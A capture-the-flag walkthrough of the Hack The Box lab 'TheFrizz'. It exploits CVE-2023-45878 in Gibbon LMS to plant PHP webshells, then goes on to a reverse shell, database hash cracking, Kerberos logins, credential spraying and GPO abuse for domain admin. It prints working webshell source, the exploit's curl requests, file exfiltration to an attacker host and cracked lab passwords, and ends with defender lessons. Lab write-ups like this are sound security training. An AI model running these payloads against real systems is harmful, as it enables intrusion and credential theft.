TheFrizz

INTRODUCTION

TheFrizz was released for week 10 of HTB’s Season 7 Vice. In my opinion, it was really challenging. This one takes lots of twists and turns, but is totally doable. However, like the Magic School Bus, if you push through it and focus on learning, it will definitely teach you a few things.

Recon is pretty simple. Some nmap scanning is all that you need to identify the web app you’re dealing with. While I did some subdomain scans to make sure this was the only target, the majority of my recon time should be spent on vulnerability research.

Foothold is a party. Actually, I was having so much fun messing around with one of the vulnerabilities that I used it as an opportunity to improve one of my old tools, and create two more after that 😂 As long as you’ve done your recon right, and stick to the vulnerabilities you’ve discovered, foothold should be straightforward.

The user flag was where things start to get a little spicy. If you’re not familiar with interacting with Kerberos directly from Linux, well… you will be soon! Getting the user flag also involves attacking a database: lots of options on this step, but I chose to extend my approach from foothold.

The root flag was, at least for me, very difficult. It required some good enumeration skills, a solid understanding of Active Directory, and proper, up-to-date tools. Each one of those aspects presents a special challenge for root.

Despite the low rating, I would definitely recommend this box that wants an excellent crash-course on Kerberos.

title picture

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
49670/tcp open  unknown
51345/tcp open  unknown
59057/tcp open  unknown
59066/tcp open  unknown

Looks like all the typical suspects for Active Directory.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-16 03:25:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51345/tcp open  msrpc         Microsoft Windows RPC
59057/tcp open  msrpc         Microsoft Windows RPC
59066/tcp open  msrpc         Microsoft Windows RPC

Note the redirect to http://frizzdc.frizz.htb/home/

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No relevant results.

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-16 03:32:03Z)
123/udp open  ntp          NTP v3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I’ll add frizz.htb and frizzdc.frizz.htb.htb to my /etc/hosts and do banner-grabbing for the web server:

DOMAIN=frizz.htb
echo -e "$RADDR\tfrizzdc.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

(Sub)domain enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No new results.

Next I’ll check for other subdomains of frizz.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that either.

Directory enumeration

The only web app we’ve found is Gibbon LMS, which is open source and surprisingly well documented. As such, I’ll skip directory enumeration on this one.

Exploring the Website

Next I’ll browse the target website manually a little.

The target looks like it’s an LMS for Walkerville Elementary School (the school from the classic children’s show, Magic School Bus)

index page

Now, in ZAP, I’ll add the target frizz.htb and all of its subdomains to the Default Context proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap was very large, but lined up perfectly with what we’d expect from Gibbon LMS.

There appears to be an encoded message (maybe a hint?) on the index page…

index page hint

This base64 doesn’t decode to anything interesting:

decoded base64 from index page

Clicking the Staff Login button brings us to the login page for Gibbon LMS, which has a typical login form and a message banner.

The message in the banner gives us some hints:

NOTICE Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.

  • It’s likely that there is a username like fiona or ffrizzle or f.frizzle
  • Fiona must have Administrator access to Gibbon LMS: check out the Gibbon documentation for detail. Basically, she just needs to add an Azure API key.
  • Kerberos is probably being used for login - so the usernames for the LMS might be usernames for the target host too.

Vulnerability Research

Since we have an exact version for Gibbon CMS (25.0.0), I’ll look around for some recent CVEs. I found these:

  • Authenticated RCE - CVE-2024-24725. Versions earlier than 26.0.0. Looks like a PHP deserialization exploit LINK
  • Unauthenticated Arbitrary File Write - CVE-2023-45878. Versions 25.0.1 and earlier. LINK

I don’t have any credentials yet, so I’ll focus on the arbitrary file write.

Arbitrary File Write

Earlier, I found a vulnerability that looks particularly useful. It’s often that new major versions (like 25.0.0) have large bugs or regressions, and this is no exception:

  • Arbitrary File Write - CVE-2023-45878. Versions 25.0.1 and earlier. LINK

Lets try to use this to write a webshell. I’ll start with one that I keep on-hand:

<?php
echo "<h3>4wayhandshake Webshell</h3>";
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    echo "<pre>$cmd</pre><hr/><pre>";
    $output = system($_REQUEST['cmd'], $retval);
    echo "</pre>";
}
else{
    echo "Please enter a command, or use the \"cmd\" parameter (GET or POST)";
    echo '<form method="POST" action="#"><input type="text" name="cmd" placeholder="Enter command" autofocus></form>';
}
?>

This vulnerability is due to indescriminately decoding base64 and writing it to a file, therefore the payload must be base64-encoded. Also, it needs to seem like a base64-encoded image, so we will use image/png just like the PoC in the article:

cat webshell.php | base64 -w 0 > base64_webshell
echo "image/png;asdfqwer,$(cat base64_webshell)" > payload.b64

Great, now we can try sending it:

curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payload.b64)&path=asdfqwer.php&gibbonPersonID=0000000001"
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer.php'

Hmm… my attempts at this are leading to the same error. I get this when I try to write the webshell:

<h1 class="mt-6 pt-1"> Oh no!</h1>
<p>
Something has gone wrong: the Gibbons have escaped!<br/><br/>
An error has occurred. This could mean a number of different things, but generally indicates that you have a misspelt address, or are trying to access a page that you are not permitted to access. If you cannot solve this problem by retyping the address, or through other means, please contact your system administrator.<br/>
</p>

🤦‍♂️ Oh, duh! I made a silly mistake; check out the payload.b64:

image/png;asdfqwer,PD9waHAKZWNobyAiPGgzPjR3YXloYW5kc2hha2UgV2Vic2hlbGw8L2gzPiI7CmlmKGlzc2V0KCRfUkVRVUVTVFsnY21kJ10pKXsKICAgICRjbWQgPSAkX1JFUVVFU1RbJ2NtZCddOwogICAgZWNobyAiPHByZT4kY21kPC9wcmU+PGhyLz48cHJlPiI7CiAgICAkb3V0cHV0ID0gc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10sICRyZXR2YWwpOwogICAgZWNobyAiPC9wcmU+IjsKfQplbHNlewogICAgZWNobyAiUGxlYXNlIGVudGVyIGEgY29tbWFuZCwgb3IgdXNlIHRoZSBcImNtZFwiIHBhcmFtZXRlciAoR0VUIG9yIFBPU1QpIjsKICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIjIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBwbGFjZWhvbGRlcj0iRW50ZXIgY29tbWFuZCIgYXV0b2ZvY3VzPjwvZm9ybT4nOwp9Cj8+Cg==

Some of those characters are not url-encoded. Let’s try again (see here for my url-encoding tool):

url_encode "$(cat payload.b64)" > url_encoded.b64

The path and gibbonPersonID don’t need url-encoding, so let’s try again:

curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat url_encoded.b64)&path=asdfqwer.php&gibbonPersonID=0000000001"
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer.php'

uploaded webshell

It worked! 😁

Next, I might try to pop a reverse shell, so I’ll need a more advanced webshell to achieve that. But first, let’s just check what users are on the target. Since we suspect that Gibbon LMS is using Kerberos, it’s likely that the Gibbon LMS users are a subset of these:

webshell net users

Nice! One of my guesses from earlier was correct: f.frizzle. She probably has admin access to the dashboard, since she’s doing the migration to Azure SSO.

Improving the webshell

To allow me to freely use special characters within the commands sent to my webshell, I wrote a new version:

I’ve made a small repository for this webshell + client - please feel free to clone and use ❤️

<?php
echo "<h3>4wayhandshake Webshell</h3>";
if(isset($_REQUEST['cmd'])){
    $cmd = strrev(base64_decode(urldecode(base64_decode(urldecode($_REQUEST['cmd'])))));
    echo "<pre>$cmd</pre><hr/><pre>";
    $output = system($cmd, $retval);
    echo "</pre>";
}
else{
    echo "Please interact using the client script.";
}
?>

Once again, I will encode and upload the webshell:

I’m giving the webshells unique numbers as a “cache-busting” measure (just in case!)

NUM=$(randint); cat sneaky-webshell.php | base64 -w 0 > sneaky.b64
echo "image/png;asdfqwer,$(cat sneaky.b64)" > sneakypayload.b64
url_encode "$(cat sneakypayload.b64)" > sneakyurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat sneakyurlencoded.b64)&path=asdfqwer$NUM.php&gibbonPersonID=0000000001"
python3 sneaky-webshell-client.py "http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer$NUM.php"

It appears to work perfectly!

successful webshell

Reverse Shell

Even then, though, the cleanup script was getting a little annoying. To avoid having to reset my webshell, I’ll open a reverse shell instead.

sudo ufw allow from $RADDR to any port 4444
bash
rlwrap nc -lvnp 4444

The payload has changed now, so I’ll repeat the file write:

MYSCRIPT=./revshell.php; NUM=$(randint);
cat "$MYSCRIPT" | base64 -w 0 > script.b64
echo "image/png;asdfqwer,$(cat script.b64)" > scriptpayload.b64
url_encode "$(cat scriptpayload.b64)" > payloadurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payloadurlencoded.b64)&path=asdfqwer$NUM.php&gibbonPersonID=0000000001"
echo -e "\nWritten script available at: http://frizzdc.frizz.htb/Gibbon-LMS/asdfqwer$NUM.php\n"

Right after navigating to the script’s path, the reverse shell opens perfectly:

successful revshell

Unfortunately, w.webservice doesn’t have any home directory and can’t really access anything outside of the web root. However, there are lots of useful scripts within the web root to look at.

gibbon web root

The main configuration script is probably config.php. Indeed, inside there are some database credentials!

// ...
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
// ...

That will certainly be useful. Since the webapp can interact with the database, I should be able to write a new PHP script to utilize these credentials 🤔

MySQL via Webshell

Instead of traditional database enumeration, I’ll find out exactly where to look for passwords by reading the passwordResetProcess.php script.

Here’s an excerpt from “stage 2”, after the password reset token and ID are accepted and the new password is being written into the database:

//Update password
$salt = getSalt();
$passwordStrong = hash('sha256', $salt.$passwordNew);
try {
    $data = array('passwordStrong' => $passwordStrong, 'salt' => $salt, 'gibbonPersonID' => $gibbonPersonID);
    $sql = "UPDATE gibbonPerson SET passwordStrong=:passwordStrong, passwordStrongSalt=:salt, passwordForceReset='N', failCount=0 WHERE gibbonPersonID=:gibbonPersonID";
    $result = $connection2->prepare($sql);
    $result->execute($data);
} catch (PDOException $e) {
    header("Location: {$URL->withReturn('error2')}");
    exit();
}

Elsewhere in the same file, we can see the notable fields are username and gibbonPersonID.

I made a php script for playing with the database, called dbshell.php. Lucky for you, the reader, I have published a repo with this script - check out my PHP-MySQL-webshell repo 🤗 (screenshot below)

git clone https://github.com/4wayhandshake/PHP-MySQL-webshell.git
vim dbshell.php  # Paste in the hardcoded credentials

We can upload it just like the other scripts:

MYSCRIPT=./dbshell.php;
cat "$MYSCRIPT" | base64 -w 0 > script.b64
echo "image/png;asdfqwer,$(cat script.b64)" > scriptpayload.b64
url_encode "$(cat scriptpayload.b64)" > payloadurlencoded.b64
curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' --data "img=$(cat payloadurlencoded.b64)&path=dbshell.php&gibbonPersonID=0000000001"
echo -e "\nWritten script available at: http://frizzdc.frizz.htb/Gibbon-LMS/dbshell.php\n"

We already know the exact fields and table to query, so let’s try it out!

creds from database

👏 Perfect! Let’s see if they can be cracked. I already know they are SHA256, but I’m not sure what hashcat mode this would correspond to… I’ll put the password hash and salt into a file (separated by a colon) and run it through name-that-hash:

name that hash

Mode 1400 is shown as most likely, but I don’t believe that - our hash uses a salt and mode 1400 is for raw, unsalted SHA256. Mode 1420 shows up a lot for the salted SHA256 variants, so I’ll try that one.

hashcat -m 1420 db.hash /usr/share/wordlists/rockyou.txt

cracked hash

Nice! We’ve cracked a hash: f.frizzle : Jenni_Luvs_Magic23

Credential reuse

Gibbon LMS?

Yup! it works fine.

Gibbon LMS dashboard

SSH?

❌ Nope. f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).

WinRM?

evil-winrm fail

This might be due to Kerberos. If we’re using Kerberos, we need to grab a TGT from the Kerberos KDC.

WinRM & Kerberos

To authenticate with Kerberos, we need two things:

  1. The TGT for our target user (consider kinit or impacket-getTGT)
  2. The Kerberos configuration file: XXX_krb5.conf

1. Getting the TGT

impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

getTGT fail

Kerberos and Clock Skew

⚠️ The KRB_AP_ERR_SKEW(Clock skew too great) error happens because Kerberos relies on clocks being synchronized.

We have two good options:

  • Change our clock for a while (rdate method)
  • Change our clock for one command (faketime method)

rdate method

We need to disable NTP and set the date to the target’s using rdate

sudo timedatectl set-ntp off
sudo rdate -n $RADDR
impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

When we’re done, we can re-enable automatic date/time:

sudo timedatectl set-ntp on

faketime method

We need to calculate the clock skew, then use faketime to undo the skew:

rdate -np $RADDR  # shows the target is 7h ahead of me
faketime -f '+7h' impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

Also, 0xBEN has a good article on this.

I’ll use faketime, so that I don’t need to remember to reset my clock 🤡

# Check the time of the target
rdate -np $RADDR
# Result shows the target is 7h ahead of me
faketime -f '+7h' impacket-getTGT -dc-ip $RADDR 'frizz.htb/f.frizzle:Jenni_Luvs_Magic23'

getTGT success 2

Custom krb5.conf file

Next, we need to tell Kerberos where to look for the KDC. We do this by creating a custom configuration file for just this target. All we really need to know is the domain controller hostname and the domain.

This guide from 0xBEN is incredible. Highly recommend you reference it 👍

Create a new file (within project directory) called custom_krb5.conf:

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    frizz.htb = FRIZZ.HTB
    .frizz.htb = FRIZZ.HTB

Finally Authenticating

We have now met both requirements for Kerberos authentication using WinRM:

  1. The TGT for our target user (used impacket-getTGT to dump f.frizzle.ccache)
  2. The Kerberos configuration file (used vim to write custom_krb5.conf)

Finally, we can attempt to log in. Note that the -r argument should align with the [realms] key from the config file:

export KRB5CCNAME=f.frizzle.ccache; 
export KRB5_CONFIG="$PWD/custom_krb5.conf"; 
faketime -f '+7h' evil-winrm -i frizzdc.frizz.htb -u f.frizzle -p Jenni_Luvs_Magic23 -r FRIZZ.HTB

⚠️ You must use the hostname for the -i argument when authenticating via Kerberos. If not, you will get another cryptic error: Server not found in Kerberos database.

I found this walkthrough (halfway down the page) to be helpful for finally noticing the hostname vs. IP address issue.

WinRM success and user flag

Finally! We have a proper way to connect to the target 👏

It looks like f.frizzle holds the user flag, so go ahead and read it:

type C:\Users\f.frizzle\Desktop\user.txt

ROOT FLAG

Bloodhound

See my walkthrough EscapeTwo for more detail

Ran rusthound-ce to gather data

rusthound-ce -d 'frizz.htb' -u f.frizzle -p Jenni_Luvs_Magic23 -z

This resulted in 20250317021938_frizz-htb_rusthound-ce.zip

Now we download the Bloodhound-CE docker compose file from their Github Repo: https://github.com/SpecterOps/BloodHound/blob/main/examples/docker-compose/docker-compose.yml.

Change directory to be adjacent to the docker-compose.yml file, then bring up the stack:

docker compose up

The startup script should display the password:

bloodhound initial password

Navigate to http://localhost:8080 to access the web interface. Use the username admin with the initial password. You will be forced to reset the password, so I used Bloodhound123!

To import your data, go to http://localhost:8080/ui/administration/file-ingest and click the Upload Files button. Select the 20250317021938_frizz-htb_rusthound-ce.zip file that rusthound produced, and upload it.

Looks like v.fizzle is probably the right choice. But that’s just a guess based on the inbound object control of f.frizzle:

f frizzle inbound object control

However, m.schoolbus also looks like a solid choice. They uniquely have the ability to write GPOs. Seems like that could lead to privesc, once I have credentials for m.schoolbus 🤔

m schoolbus bloodhound

Local enumeration - f.frizzle

Often, Windows boxes are simply too large of an attack surface to do proper manual enumeration for privesc; there’s just too much “noise”.

However, one thing I do like to do manually is check around the filesystem a bit. Usually, I’ll check these places:

  • The user’s home directory
    • Desktop, Documents, Downloads
    • AppData\Local
      • Check Temp for anything suspicious
      • Look for programs with saved settings/data that might be useful
  • Program Files (both of them)
    • Look for programs that seem odd, or out of place.
  • The web root
    • Look for C:\wamp, C:\xamp, or C:\inetpub\wwwroot
  • The recycle bin (special directory)
    • C:\$RECYCLE.BIN

😮 Checklist successful! There’s something in the recycle bin.

Restoring recycle bin

Thankfully, I’ve made the perfect tool for handling this - check out the Unrecycle.ps1 script in my powershell-scripts repo

cd C:\Users\f.frizzle\AppData\Local\Temp
(New-Object Net.WebClient).DownloadFile("http://10.10.14.12/Unrecycle.ps1", "C:\Users\f.frizzle\AppData\Local\Temp\Unrecycle.ps1")

unrecycle 1

Very interesting… Some kind of backup file for wapt 👀

wapt is like a Windows version of apt (the installer in debian-based distros)

Let’s try to restore the item:

unrecycle 2

Very odd. It uses nonstandard verbs. Perhaps the box creator is on a different locale? Regardless, we’ve restored the item. I’ll send it to my attacker host over http:

curl -F 'file=@.\wapt-backup-sunday.7z' http://10.10.14.12:8000

wapt backup

It’s just a 7z archive, so we can extract it normally:

7z x wapt-backup-sunday.7z

The contents are surprisingly large. But inside, there’s a conf and db directories that might be interesting

wapt directory

Aha! Inside conf, there is the main config file, waptserver.ini:

wapt config password

looks like a password: !suBcig@MehTed!R

Credential spraying

But who’s it for? I’ll spray it at all users (originally checked using net users) and see if any work:

while read -r USR; do faketime -f '+7h' impacket-getTGT -dc-ip $RADDR "frizz.htb/$USR"':!suBcig@MehTed!R'; done < users.lst

request tgt for m schoolbus

Alright - it’s the password for m.schoolbus! m.schoolbus : !suBcig@MehTed!R

That’s perfect, since earlier with Bloodhound we identified that m.schoolbus has some unique and interesting GPO-creation permissions 🎉

export KRB5_CONFIG="$PWD/custom_krb5.conf"
kinit m.schoolbus  # prompted for the password
klist			   # Shows that m.schoolbus is the new default
ssh -K m.schoolbus@frizz.htb

ssh as m.schoolbus

Bloodhound again

Now that I have new credentials, I’m going to try doing another Bloodhound collection. This time, however, I’ll use SharpHound.exe.

Sharphound 1

Ok, let’s run it. Important to use -c all option. Here’s a nice article on using Sharphound, if you’re unfamiliar (I was 🤷‍♂️)​

.\SharpHound.exe -c All --collectallproperties

🙂 ​The Happy Graphing! message indicates success. There should be a .zip of the collected data, so let’s exfil it.

Sharphound 2

Finally, we are able to see the PE vector clearly in front of us:

Bloodhound after Sharphound

GPO Abuse

Looking through Hacktricks on AD privesc, I found that GPO abuse can be done using SharpGPOAbuse, available as a C# project from this repo.

However, since I don’t have any dotnet build environment on my attacker host, I’ve downloaded a precompiled copy from this repo instead. I’ll serve it to the target:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.12:8000/SharpGPOAbuse.exe", "C:\Users\M.SchoolBus\AppData\Local\Temp\SharpGPOAbuse.exe")

Strategy

The main SharpGPOAbuse repo provides instructions on different ways we can utilize it. The most promising way for us to run a single (elevated) command seems to be scheduling an immediate task using --AddComputerTask.

But first we need to create a vulnerable GPO. Thankfully, Hacktricks shows us how to do that.

But first, we need an OU to link it to. What OUs are there?

OUs in active directory

The two orange icon ones are OUs. So… go with DOMAIN CONTROLLERS, right?

New-GPO -Name "Evil GPO"
New-GPLink -Name "Evil GPO" -Target "OU=DOMAIN CONTROLLERS,DC=frizz,DC=htb"

gpo abuse 1

Great, now following the directions from SharpGPOAbuse Github repo, we can scheduling an immediate task using --AddComputerTask. Dealer’s choice for what the “task” should be - I’ll go with a reverse shell:

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "AdminRevShell" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -e JABjAGwAaQBlAG...zAGUAKAApAA==" --GPOName "Evil GPO"

☝️ This payload is the Powershell base64 reverse shell from https://www.revshells.com/

gpo abuse 2

Looks like it worked, but it says we have to wait for the GPO refresh cycle. Hacktricks also mentioned this, and showed how we can force an update:

gpupdate /force

gpo abuse 3

After a few seconds, the reverse shell opens!

root reverse shell

😹 Yes! It worked. The flag is where it normally is:

type C:\Users\Administrator\Desktop\root.txt

I am so happy to be done this one - Active Directory really pushes my limits 😫

CLEANUP

Target

I’ll get rid of my tools that I had on the target, C:\Users\m.schoolbus\AppData\Local\Temp:

del C:\Users\m.schoolbus\AppData\Local\Temp\*

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm loot/20250317021938_frizz-htb_rusthound-ce.zip loot/wapt-backup-sunday.7z

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • #️⃣ Use your own judgement with hash modes. This box was one very rare example where I had to disagree with name-that-hash. It usually does a good job, but if you have solid evidence that it’s making the wrong call… you might be right!
  • 🐺 Kerberos isn’t just for Windows. It’s no problem to authenticate to Kerberos from your kali box. Unfortunately, the steps are very poorly documented, if at all. It’s a good thing that people like 0xBEN have written high-quality articles on how to make it work.
  • 🐺 ​Lots of great tools use kerberos already. A lot of the “greatest hits” of not only hacking, but Linux administration in general, support kerberos authentication. Tools like SSH, WinRM, SCP, LDAP… The list goes on!
two crossed swords

Defender

  • 🥅 Use fine-grained access control. On this box, the web server failed to protect against a pretty simple file upload vulnerability. What could they have done better? Since Gibbon LMS runs on PHP, a good start would have been to lock down the app’s service account’s permissions so that it can’t run PHP out of any location that it can also write a file to (maybe students can upload assignments? Maybe teachers can have profile pics? There are many good reasons to still have file uploads on an LMS). A total separation of uploadable folders and runnable code may have helped.

  • 🚷 Extra permissions to non-administrators? No!. Maybe there was a good reason to do so, I don’t work for Walkerville Elementary so I wouldn’t know, but why did m.schoolbus have the ability to change GPO Links? Why would any non-administrator have that permission? Active Directory is seemingly pretty insane to make airtight, so be kind to yourself and keep things simple.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake